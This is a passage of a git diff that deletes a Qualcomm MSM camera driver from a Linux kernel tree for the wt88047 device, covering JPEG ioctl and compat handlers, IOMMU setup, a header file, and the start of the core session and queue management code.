arg) -{ - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - msm_jpeg_io_dump(pgmn_dev->base, JPEG_REG_SIZE); - return 0; -} - -int msm_jpeg_ioctl_set_clk_rate(struct msm_jpeg_device *pgmn_dev, - void * __user arg) -{ - long clk_rate; - int rc; - - if ((pgmn_dev->state != MSM_JPEG_INIT) && - (pgmn_dev->state != MSM_JPEG_RESET)) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - if (get_user(clk_rate, (unsigned int __user *)arg)) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - JPEG_DBG("%s:%d] Requested clk rate %ld\n", __func__, __LINE__, - clk_rate); - if (clk_rate < 0) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - rc = msm_jpeg_platform_set_clk_rate(pgmn_dev, clk_rate); - if (rc < 0) { - JPEG_PR_ERR("%s: clk failed rc = %d\n", __func__, rc); - return -EFAULT; - } - - return 0; -} -#ifdef CONFIG_COMPAT -int msm_jpeg_get_compat_ctrl_cmd(struct msm_jpeg_ctrl_cmd *ctrl_cmd, - void __user *arg) -{ - struct msm_jpeg_ctrl_cmd32 ctrl_cmd32; - unsigned long temp; - if (copy_from_user(&ctrl_cmd32, arg, - sizeof(struct msm_jpeg_ctrl_cmd32))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - ctrl_cmd->type = ctrl_cmd32.type; - ctrl_cmd->len = ctrl_cmd32.len; - temp = (unsigned long) ctrl_cmd32.value; - ctrl_cmd->value = (void *) temp; - - return 0; -} -int msm_jpeg_put_compat_ctrl_cmd(struct msm_jpeg_ctrl_cmd *ctrl_cmd, - void __user *arg) -{ - struct msm_jpeg_ctrl_cmd32 ctrl_cmd32; - unsigned long temp; - - ctrl_cmd32.type = ctrl_cmd->type; - ctrl_cmd32.len = ctrl_cmd->len; - temp = (unsigned long) ctrl_cmd->value; - ctrl_cmd32.value = (compat_uptr_t) temp; - - if (copy_from_user(arg, &ctrl_cmd32, - sizeof(struct msm_jpeg_ctrl_cmd32))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - - return 0; -} - -int msm_jpeg_get_jpeg_buf(struct msm_jpeg_buf *jpeg_buf, - void __user *arg) -{ - struct msm_jpeg_buf32 jpeg_buf32; - unsigned long temp; - if (copy_from_user(&jpeg_buf32, arg, sizeof(struct msm_jpeg_buf32))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - jpeg_buf->type = jpeg_buf32.type; - jpeg_buf->fd = jpeg_buf32.fd; - temp = (unsigned long) jpeg_buf32.vaddr; - jpeg_buf->vaddr = (void *) temp; - jpeg_buf->y_off = jpeg_buf32.y_off; - jpeg_buf->y_len = jpeg_buf32.y_len; - jpeg_buf->framedone_len = jpeg_buf32.framedone_len; - jpeg_buf->cbcr_off = jpeg_buf32.cbcr_off; - jpeg_buf->cbcr_len = jpeg_buf32.cbcr_len; - jpeg_buf->num_of_mcu_rows = jpeg_buf32.num_of_mcu_rows; - jpeg_buf->offset = jpeg_buf32.offset; - jpeg_buf->pln2_off = jpeg_buf32.pln2_off; - jpeg_buf->pln2_len = jpeg_buf32.pln2_len; - - return 0; -} -int msm_jpeg_put_jpeg_buf(struct msm_jpeg_buf *jpeg_buf, - void __user *arg) -{ - struct msm_jpeg_buf32 jpeg_buf32; - unsigned long temp; - - jpeg_buf32.type = jpeg_buf->type; - jpeg_buf32.fd = jpeg_buf->fd; - temp = (unsigned long) jpeg_buf->vaddr; - jpeg_buf32.vaddr = (compat_uptr_t) temp; - jpeg_buf32.y_off = jpeg_buf->y_off; - jpeg_buf32.y_len = jpeg_buf->y_len; - jpeg_buf32.framedone_len = jpeg_buf->framedone_len; - jpeg_buf32.cbcr_off = jpeg_buf->cbcr_off; - jpeg_buf32.cbcr_len = jpeg_buf->cbcr_len; - jpeg_buf32.num_of_mcu_rows = jpeg_buf->num_of_mcu_rows; - jpeg_buf32.offset = jpeg_buf->offset; - jpeg_buf32.pln2_off = jpeg_buf->pln2_off; - jpeg_buf32.pln2_len = jpeg_buf->pln2_len; - - if (copy_to_user(arg, &jpeg_buf32, sizeof(struct msm_jpeg_buf32))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - return 0; -} - -long __msm_jpeg_compat_ioctl(struct msm_jpeg_device *pgmn_dev, - unsigned int cmd, unsigned long arg) -{ - int rc = 0; - struct msm_jpeg_ctrl_cmd ctrl_cmd; - struct msm_jpeg_buf jpeg_buf; - switch (cmd) { - case MSM_JPEG_IOCTL_GET_HW_VERSION: - JPEG_DBG("%s:%d] VERSION 1\n", __func__, __LINE__); - rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_RESET: - rc = msm_jpeg_ioctl_reset(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_RESET32: - rc = msm_jpeg_get_compat_ctrl_cmd(&ctrl_cmd, - (void __user *) arg); - if (rc < 0) - break; - rc = msm_jpeg_ioctl_reset(pgmn_dev, (void __user *) &ctrl_cmd); - break; - - case MSM_JPEG_IOCTL_STOP: - rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); - pgmn_dev->state = MSM_JPEG_STOPPED; - break; - - case MSM_JPEG_IOCTL_START: - rc = msm_jpeg_start(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE: - rc = msm_jpeg_input_buf_enqueue(pgmn_dev, - (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE32: - rc = msm_jpeg_get_jpeg_buf(&jpeg_buf, (void __user *) arg); - if (rc < 0) - break; - rc = msm_jpeg_input_buf_enqueue(pgmn_dev, - (void __user *) &jpeg_buf); - break; - - case MSM_JPEG_IOCTL_INPUT_GET: - rc = msm_jpeg_input_get(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_INPUT_GET32: - rc = msm_jpeg_input_get(pgmn_dev, (void __user *) &jpeg_buf); - if (rc < 0) - break; - rc = msm_jpeg_put_jpeg_buf(&jpeg_buf, (void __user *) arg); - - break; - - case MSM_JPEG_IOCTL_INPUT_GET_UNBLOCK: - rc = msm_jpeg_input_get_unblock(pgmn_dev); - break; - - case MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE: - rc = msm_jpeg_output_buf_enqueue(pgmn_dev, - (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE32: - rc = msm_jpeg_get_jpeg_buf(&jpeg_buf, (void __user *) arg); - if (rc < 0) - break; - rc = msm_jpeg_output_buf_enqueue(pgmn_dev, - (void __user *) &jpeg_buf); - break; - - case MSM_JPEG_IOCTL_OUTPUT_GET: - rc = msm_jpeg_output_get(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_OUTPUT_GET32: - rc = msm_jpeg_output_get(pgmn_dev, (void __user *) &jpeg_buf); - if (rc < 0) - break; - rc = msm_jpeg_put_jpeg_buf(&jpeg_buf, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_OUTPUT_GET_UNBLOCK: - rc = msm_jpeg_output_get_unblock(pgmn_dev); - break; - - case MSM_JPEG_IOCTL_EVT_GET: - rc = msm_jpeg_evt_get(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_EVT_GET32: - rc = msm_jpeg_evt_get(pgmn_dev, (void __user *) &ctrl_cmd); - if (rc < 0) - break; - msm_jpeg_put_compat_ctrl_cmd(&ctrl_cmd, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_EVT_GET_UNBLOCK: - rc = msm_jpeg_evt_get_unblock(pgmn_dev); - break; - - case MSM_JPEG_IOCTL_HW_CMD: - rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_HW_CMDS: - rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_TEST_DUMP_REGION: - rc = msm_jpeg_ioctl_test_dump_region(pgmn_dev, arg); - break; - - case MSM_JPEG_IOCTL_TEST_DUMP_REGION32: - rc = msm_jpeg_ioctl_test_dump_region(pgmn_dev, arg); - break; - - case MSM_JPEG_IOCTL_SET_CLK_RATE: - rc = msm_jpeg_ioctl_set_clk_rate(pgmn_dev, - (void __user *) arg); - break; - - default: - JPEG_PR_ERR(KERN_INFO "%s:%d] cmd = %d not supported\n", - __func__, __LINE__, _IOC_NR(cmd)); - rc = -EINVAL; - break; - } - return rc; -} -#else -long __msm_jpeg_compat_ioctl(struct msm_jpeg_device *pgmn_dev, - unsigned int cmd, unsigned long arg) -{ - return 0; -} -#endif - -long __msm_jpeg_ioctl(struct msm_jpeg_device *pgmn_dev, - unsigned int cmd, unsigned long arg) -{ - int rc = 0; - switch (cmd) { - case MSM_JPEG_IOCTL_GET_HW_VERSION: - JPEG_DBG("%s:%d] VERSION 1\n", __func__, __LINE__); - rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_RESET: - rc = msm_jpeg_ioctl_reset(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_STOP: - rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); - pgmn_dev->state = MSM_JPEG_STOPPED; - break; - - case MSM_JPEG_IOCTL_START: - rc = msm_jpeg_start(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE: - rc = msm_jpeg_input_buf_enqueue(pgmn_dev, - (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_INPUT_GET: - rc = msm_jpeg_input_get(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_INPUT_GET_UNBLOCK: - rc = msm_jpeg_input_get_unblock(pgmn_dev); - break; - - case MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE: - rc = msm_jpeg_output_buf_enqueue(pgmn_dev, - (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_OUTPUT_GET: - rc = msm_jpeg_output_get(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_OUTPUT_GET_UNBLOCK: - rc = msm_jpeg_output_get_unblock(pgmn_dev); - break; - - case MSM_JPEG_IOCTL_EVT_GET: - rc = msm_jpeg_evt_get(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_EVT_GET_UNBLOCK: - rc = msm_jpeg_evt_get_unblock(pgmn_dev); - break; - - case MSM_JPEG_IOCTL_HW_CMD: - rc = msm_jpeg_ioctl_hw_cmd(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_HW_CMDS: - rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, (void __user *) arg); - break; - - case MSM_JPEG_IOCTL_TEST_DUMP_REGION: - rc = msm_jpeg_ioctl_test_dump_region(pgmn_dev, arg); - break; - - case MSM_JPEG_IOCTL_SET_CLK_RATE: - rc = msm_jpeg_ioctl_set_clk_rate(pgmn_dev, (void __user *) arg); - break; - default: - pr_err_ratelimited("%s:%d] cmd = %d not supported\n", - __func__, __LINE__, _IOC_NR(cmd)); - rc = -EINVAL; - break; - } - return rc; -} -#ifdef CONFIG_MSM_IOMMU -static int camera_register_domain(void) -{ - struct msm_iova_partition camera_fw_partition = { - .start = SZ_128K, - .size = SZ_2G - SZ_128K, - }; - - struct msm_iova_layout camera_fw_layout = { - .partitions = &camera_fw_partition, - .npartitions = 1, - .client_name = "camera_jpeg", - .domain_flags = 0, - }; - return msm_register_domain(&camera_fw_layout); -} -#endif - -int __msm_jpeg_init(struct msm_jpeg_device *pgmn_dev) -{ - int rc = 0; - int idx = 0; -#ifdef CONFIG_MSM_IOMMU - int i = 0, j = 0; - char *iommu_name[JPEG_DEV_CNT] = {"jpeg_enc0", "jpeg_enc1", - "jpeg_dec"}; -#endif - - mutex_init(&pgmn_dev->lock); - - pr_err("%s:%d] Jpeg Device id %d", __func__, __LINE__, - pgmn_dev->pdev->id); - idx = pgmn_dev->pdev->id; - pgmn_dev->idx = idx; - pgmn_dev->iommu_cnt = 1; - pgmn_dev->decode_flag = (idx == JPEG_DEC_ID); - - msm_jpeg_q_init("evt_q", &pgmn_dev->evt_q); - msm_jpeg_q_init("output_rtn_q", &pgmn_dev->output_rtn_q); - msm_jpeg_q_init("output_buf_q", &pgmn_dev->output_buf_q); - msm_jpeg_q_init("input_rtn_q", &pgmn_dev->input_rtn_q); - msm_jpeg_q_init("input_buf_q", &pgmn_dev->input_buf_q); - -#ifdef CONFIG_MSM_IOMMU - j = (pgmn_dev->iommu_cnt <= 1) ? idx : 0; - /*get device context for IOMMU*/ - for (i = 0; i < pgmn_dev->iommu_cnt; i++) { - pgmn_dev->iommu_ctx_arr[i] = msm_iommu_get_ctx(iommu_name[j]); - JPEG_DBG("%s:%d] name %s", __func__, __LINE__, iommu_name[j]); - JPEG_DBG("%s:%d] ctx 0x%x", __func__, __LINE__, - (uint32_t)pgmn_dev->iommu_ctx_arr[i]); - if (!pgmn_dev->iommu_ctx_arr[i]) { - JPEG_PR_ERR("%s: No iommu fw context found\n", - __func__); - goto error; - } - j++; - } - pgmn_dev->domain_num = camera_register_domain(); - JPEG_DBG("%s:%d] dom_num 0x%x", __func__, __LINE__, - pgmn_dev->domain_num); - if (pgmn_dev->domain_num < 0) { - JPEG_PR_ERR("%s: could not register domain\n", __func__); - goto error; - } - pgmn_dev->domain = msm_get_iommu_domain(pgmn_dev->domain_num); - JPEG_DBG("%s:%d] dom 0x%x", __func__, __LINE__, - (uint32_t)pgmn_dev->domain); - if (!pgmn_dev->domain) { - JPEG_PR_ERR("%s: cannot find domain\n", __func__); - goto error; - } -#endif - - return rc; -#ifdef CONFIG_MSM_IOMMU -error: -#endif - mutex_destroy(&pgmn_dev->lock); - return -EFAULT; -} - -int __msm_jpeg_exit(struct msm_jpeg_device *pgmn_dev) -{ - mutex_destroy(&pgmn_dev->lock); - kfree(pgmn_dev); - return 0; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h deleted file mode 100644 index 7bb16e1676666..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h +++ /dev/null @@ -1,128 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - - - -#ifndef MSM_JPEG_SYNC_H -#define MSM_JPEG_SYNC_H - -#include -#include -#include -#include -#include -#include -#include "msm_jpeg_hw.h" - -#define JPEG_8974_V1 0x10000000 -#define JPEG_8974_V2 0x10010000 -#define JPEG_8939 0x30020000 - -enum msm_jpeg_state { - MSM_JPEG_INIT, - MSM_JPEG_RESET, - MSM_JPEG_EXECUTING, - MSM_JPEG_STOPPED, - MSM_JPEG_IDLE -}; - -struct msm_jpeg_q { - char const *name; - struct list_head q; - spinlock_t lck; - wait_queue_head_t wait; - int unblck; -}; - -struct msm_jpeg_q_entry { - struct list_head list; - void *data; -}; - -struct msm_jpeg_device { - struct platform_device *pdev; - struct resource *mem; - int irq; - void *base; - struct clk *jpeg_clk[5]; - struct regulator *jpeg_fs; - uint32_t hw_version; - - struct device *device; - struct cdev cdev; - struct mutex lock; - char open_count; - uint8_t op_mode; - - /* event queue including frame done & err indications - */ - struct msm_jpeg_q evt_q; - - /* output return queue - */ - struct msm_jpeg_q output_rtn_q; - - /* output buf queue - */ - struct msm_jpeg_q output_buf_q; - - /* input return queue - */ - struct msm_jpeg_q input_rtn_q; - - /* input buf queue - */ - struct msm_jpeg_q input_buf_q; - - struct v4l2_subdev subdev; - - struct class *msm_jpeg_class; - - dev_t msm_jpeg_devno; - - /*iommu domain and context*/ - int domain_num; - int idx; - struct iommu_domain *domain; - struct device *iommu_ctx_arr[3]; - int iommu_cnt; - int decode_flag; - struct ion_client *jpeg_client; - void *jpeg_vbif; - int release_buf; - struct msm_jpeg_hw_pingpong fe_pingpong_buf; - struct msm_jpeg_hw_pingpong we_pingpong_buf; - int we_pingpong_index; - int reset_done_ack; - spinlock_t reset_lock; - wait_queue_head_t reset_wait; - uint32_t res_size; - uint32_t jpeg_bus_client; - uint32_t num_clk; - enum msm_jpeg_state state; -}; - -int __msm_jpeg_open(struct msm_jpeg_device *pgmn_dev); -int __msm_jpeg_release(struct msm_jpeg_device *pgmn_dev); - -long __msm_jpeg_ioctl(struct msm_jpeg_device *pgmn_dev, - unsigned int cmd, unsigned long arg); - -#ifdef CONFIG_COMPAT -long __msm_jpeg_compat_ioctl(struct msm_jpeg_device *pgmn_dev, - unsigned int cmd, unsigned long arg); -#endif - -int __msm_jpeg_init(struct msm_jpeg_device *pgmn_dev); -int __msm_jpeg_exit(struct msm_jpeg_device *pgmn_dev); - -#endif /* MSM_JPEG_SYNC_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm.c b/drivers/media/platform/msm/camera_wt88047_v2/msm.c deleted file mode 100644 index 27a3fce7af903..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm.c +++ /dev/null @@ -1,1128 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm.h" -#include "msm_vb2.h" -#include "msm_sd.h" -#include - - -static struct v4l2_device *msm_v4l2_dev; -static struct list_head ordered_sd_list; - -static struct msm_queue_head *msm_session_q; - -/* config node envent queue */ -static struct v4l2_fh *msm_eventq; -spinlock_t msm_eventq_lock; - -static struct pid *msm_pid; -spinlock_t msm_pid_lock; - -#define msm_dequeue(queue, type, member) ({ \ - unsigned long flags; \ - struct msm_queue_head *__q = (queue); \ - type *node = 0; \ - spin_lock_irqsave(&__q->lock, flags); \ - if (!list_empty(&__q->list)) { \ - __q->len--; \ - node = list_first_entry(&__q->list, \ - type, member); \ - if ((node) && (&node->member) && (&node->member.next)) \ - list_del_init(&node->member); \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ - node; \ -}) - -#define msm_delete_sd_entry(queue, type, member, q_node) ({ \ - unsigned long flags; \ - struct msm_queue_head *__q = (queue); \ - type *node = 0; \ - spin_lock_irqsave(&__q->lock, flags); \ - if (!list_empty(&__q->list)) { \ - list_for_each_entry(node, &__q->list, member) \ - if (node->sd == q_node) { \ - __q->len--; \ - list_del_init(&node->member); \ - kzfree(node); \ - break; \ - } \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ -}) - -#define msm_delete_entry(queue, type, member, q_node) ({ \ - unsigned long flags; \ - struct msm_queue_head *__q = (queue); \ - type *node = 0; \ - spin_lock_irqsave(&__q->lock, flags); \ - if (!list_empty(&__q->list)) { \ - list_for_each_entry(node, &__q->list, member) \ - if (node == q_node) { \ - __q->len--; \ - list_del_init(&node->member); \ - kzfree(node); \ - break; \ - } \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ -}) - -#define msm_queue_drain(queue, type, member) do { \ - unsigned long flags; \ - struct msm_queue_head *__q = (queue); \ - type *node; \ - spin_lock_irqsave(&__q->lock, flags); \ - while (!list_empty(&__q->list)) { \ - __q->len--; \ - node = list_first_entry(&__q->list, \ - type, member); \ - if (node) { \ - if (&node->member) \ - list_del_init(&node->member); \ - kzfree(node); \ - } \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ -} while (0); - -typedef int (*msm_queue_func)(void *d1, void *d2); -#define msm_queue_traverse_action(queue, type, member, func, data) do {\ - unsigned long flags; \ - struct msm_queue_head *__q = (queue); \ - type *node = 0; \ - msm_queue_func __f = (func); \ - spin_lock_irqsave(&__q->lock, flags); \ - if (!list_empty(&__q->list)) { \ - list_for_each_entry(node, &__q->list, member) \ - if (node && __f) { \ - __f(node, data); \ - } \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ -} while (0) - -typedef int (*msm_queue_find_func)(void *d1, void *d2); -#define msm_queue_find(queue, type, member, func, data) ({\ - unsigned long flags; \ - struct msm_queue_head *__q = (queue); \ - type *node = 0; \ - typeof(node) __ret = NULL; \ - msm_queue_find_func __f = (func); \ - spin_lock_irqsave(&__q->lock, flags); \ - if (!list_empty(&__q->list)) { \ - list_for_each_entry(node, &__q->list, member) \ - if ((__f) && __f(node, data)) { \ - __ret = node; \ - break; \ - } \ - } \ - spin_unlock_irqrestore(&__q->lock, flags); \ - __ret; \ -}) - -static void msm_init_queue(struct msm_queue_head *qhead) -{ - BUG_ON(!qhead); - - INIT_LIST_HEAD(&qhead->list); - spin_lock_init(&qhead->lock); - qhead->len = 0; - qhead->max = 0; -} - -static void msm_enqueue(struct msm_queue_head *qhead, - struct list_head *entry) -{ - unsigned long flags; - spin_lock_irqsave(&qhead->lock, flags); - qhead->len++; - if (qhead->len > qhead->max) - qhead->max = qhead->len; - list_add_tail(entry, &qhead->list); - spin_unlock_irqrestore(&qhead->lock, flags); -} - -/* index = session id */ -static inline int __msm_queue_find_session(void *d1, void *d2) -{ - struct msm_session *session = d1; - return (session->session_id == *(unsigned int *)d2) ? 1 : 0; -} - -static inline int __msm_queue_find_stream(void *d1, void *d2) -{ - struct msm_stream *stream = d1; - return (stream->stream_id == *(unsigned int *)d2) ? 1 : 0; -} - -static inline int __msm_queue_find_command_ack_q(void *d1, void *d2) -{ - struct msm_command_ack *ack = d1; - return (ack->stream_id == *(unsigned int *)d2) ? 1 : 0; -} - - -struct msm_session *msm_session_find(unsigned int session_id) -{ - struct msm_session *session; - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (WARN_ON(!session)) - return NULL; - return session; -} - -int msm_create_stream(unsigned int session_id, - unsigned int stream_id, struct vb2_queue *q) -{ - struct msm_session *session; - struct msm_stream *stream; - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (!session) - return -EINVAL; - - stream = kzalloc(sizeof(*stream), GFP_KERNEL); - if (!stream) - return -ENOMEM; - - stream->stream_id = stream_id; - stream->vb2_q = q; - spin_lock_init(&stream->stream_lock); - msm_enqueue(&session->stream_q, &stream->list); - session->stream_q.len++; - - INIT_LIST_HEAD(&stream->queued_list); - - return 0; -} - -void msm_delete_stream(unsigned int session_id, unsigned int stream_id) -{ - struct msm_session *session = NULL; - struct msm_stream *stream = NULL; - unsigned long flags; - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (!session) - return; - - stream = msm_queue_find(&session->stream_q, struct msm_stream, - list, __msm_queue_find_stream, &stream_id); - if (!stream) - return; - spin_lock_irqsave(&(session->stream_q.lock), flags); - list_del_init(&stream->list); - session->stream_q.len--; - spin_unlock_irqrestore(&(session->stream_q.lock), flags); - kzfree(stream); -} - -static void msm_sd_unregister_subdev(struct video_device *vdev) -{ - struct v4l2_subdev *sd = video_get_drvdata(vdev); - sd->devnode = NULL; - kzfree(vdev); -} - -static inline int __msm_sd_register_subdev(struct v4l2_subdev *sd) -{ - int rc = 0; - struct video_device *vdev; - - if (!msm_v4l2_dev || !sd || !sd->name[0]) - return -EINVAL; - - rc = v4l2_device_register_subdev(msm_v4l2_dev, sd); - if (rc < 0) - return rc; - - /* Register a device node for every subdev marked with the - * V4L2_SUBDEV_FL_HAS_DEVNODE flag. - */ - if (!(sd->flags & V4L2_SUBDEV_FL_HAS_DEVNODE)) - return rc; - - vdev = kzalloc(sizeof(*vdev), GFP_KERNEL); - if (!vdev) { - rc = -ENOMEM; - goto clean_up; - } - - video_set_drvdata(vdev, sd); - strlcpy(vdev->name, sd->name, sizeof(vdev->name)); - vdev->v4l2_dev = msm_v4l2_dev; - vdev->fops = &v4l2_subdev_fops; - vdev->release = msm_sd_unregister_subdev; - rc = __video_register_device(vdev, VFL_TYPE_SUBDEV, -1, 1, - sd->owner); - if (rc < 0) { - kzfree(vdev); - goto clean_up; - } - -#if defined(CONFIG_MEDIA_CONTROLLER) - sd->entity.info.v4l.major = VIDEO_MAJOR; - sd->entity.info.v4l.minor = vdev->minor; - sd->entity.name = video_device_node_name(vdev); -#endif - sd->devnode = vdev; - return 0; - -clean_up: - if (sd->devnode) - video_unregister_device(sd->devnode); - return rc; -} - -static void msm_add_sd_in_position(struct msm_sd_subdev *msm_subdev, - struct list_head *sd_list) -{ - struct msm_sd_subdev *temp_sd; - - list_for_each_entry(temp_sd, sd_list, list) { - if (msm_subdev->close_seq < temp_sd->close_seq) { - list_add_tail(&msm_subdev->list, &temp_sd->list); - return; - } - } - list_add_tail(&msm_subdev->list, sd_list); -} - -int msm_sd_register(struct msm_sd_subdev *msm_subdev) -{ - if (WARN_ON(!msm_subdev)) - return -EINVAL; - - if (WARN_ON(!msm_v4l2_dev) || WARN_ON(!msm_v4l2_dev->dev)) - return -EIO; - - msm_add_sd_in_position(msm_subdev, &ordered_sd_list); - return __msm_sd_register_subdev(&msm_subdev->sd); -} - -int msm_sd_unregister(struct msm_sd_subdev *msm_subdev) -{ - if (WARN_ON(!msm_subdev)) - return -EINVAL; - - v4l2_device_unregister_subdev(&msm_subdev->sd); - return 0; -} - -int msm_create_session(unsigned int session_id, struct video_device *vdev) -{ - struct msm_session *session = NULL; - - if (!msm_session_q) { - pr_err("%s : session queue not available Line %d\n", - __func__, __LINE__); - return -ENODEV; - } - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (session) { - pr_err("%s : Session not found Line %d\n", - __func__, __LINE__); - return -EINVAL; - } - - session = kzalloc(sizeof(*session), GFP_KERNEL); - if (!session) { - pr_err("%s : Memory not available Line %d\n", - __func__, __LINE__); - return -ENOMEM; - } - - session->session_id = session_id; - session->event_q.vdev = vdev; - msm_init_queue(&session->command_ack_q); - msm_init_queue(&session->stream_q); - msm_enqueue(msm_session_q, &session->list); - mutex_init(&session->lock); - return 0; -} - -int msm_create_command_ack_q(unsigned int session_id, unsigned int stream_id) -{ - struct msm_session *session; - struct msm_command_ack *cmd_ack; - - if (!msm_session_q) { - pr_err("%s : Session queue not available Line %d\n", - __func__, __LINE__); - return -ENODEV; - } - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (!session) { - pr_err("%s : Session not found Line %d\n", - __func__, __LINE__); - return -EINVAL; - } - mutex_lock(&session->lock); - cmd_ack = kzalloc(sizeof(*cmd_ack), GFP_KERNEL); - if (!cmd_ack) { - mutex_unlock(&session->lock); - pr_err("%s : memory not available Line %d\n", - __func__, __LINE__); - return -ENOMEM; - } - - msm_init_queue(&cmd_ack->command_q); - INIT_LIST_HEAD(&cmd_ack->list); - init_completion(&cmd_ack->wait_complete); - cmd_ack->stream_id = stream_id; - - msm_enqueue(&session->command_ack_q, &cmd_ack->list); - session->command_ack_q.len++; - mutex_unlock(&session->lock); - return 0; -} - -void msm_delete_command_ack_q(unsigned int session_id, unsigned int stream_id) -{ - struct msm_session *session; - struct msm_command_ack *cmd_ack; - unsigned long flags; - - session = msm_queue_find(msm_session_q, struct msm_session, - list, __msm_queue_find_session, &session_id); - if (!session) - return; - mutex_lock(&session->lock); - - cmd_ack = msm_queue_find(&session->command_ack_q, - struct msm_command_ack, list, __msm_queue_find_command_ack_q, - &stream_id); - if (!cmd_ack) { - mutex_unlock(&session->lock); - return; - } - - msm_queue_drain(&cmd_ack->command_q, struct msm_command, list); - - spin_lock_irqsave(&(session->command_ack_q.lock), flags); - list_del_init(&cmd_ack->list); - kzfree(cmd_ack); - session->command_ack_q.len--; - spin_unlock_irqrestore(&(session->command_ack_q.lock), flags); - mutex_unlock(&session->lock); -} - -static inline int __msm_sd_close_subdevs(struct msm_sd_subdev *msm_sd, - struct msm_sd_close_ioctl *sd_close) -{ - struct v4l2_subdev *sd; - sd = &msm_sd->sd; - pr_debug("%s: Shutting down subdev %s", __func__, sd->name); - - v4l2_subdev_call(sd, core, ioctl, MSM_SD_SHUTDOWN, sd_close); - v4l2_subdev_call(sd, core, s_power, 0); - - return 0; -} - -static inline int __msm_destroy_session_streams(void *d1, void *d2) -{ - struct msm_stream *stream = d1; - pr_err("%s: Error: Destroyed list is not empty\n", __func__); - INIT_LIST_HEAD(&stream->queued_list); - return 0; -} - -static void msm_destroy_session_streams(struct msm_session *session) -{ - - if (!session) - return; - - msm_queue_traverse_action(&session->stream_q, struct msm_stream, list, - __msm_destroy_session_streams, NULL); - - msm_queue_drain(&session->stream_q, struct msm_stream, list); -} - -static inline int __msm_remove_session_cmd_ack_q(void *d1, void *d2) -{ - struct msm_command_ack *cmd_ack = d1; - - if (!(&cmd_ack->command_q)) - return 0; - - msm_queue_drain(&cmd_ack->command_q, struct msm_command, list); - - return 0; -} - -static void msm_remove_session_cmd_ack_q(struct msm_session *session) -{ - if 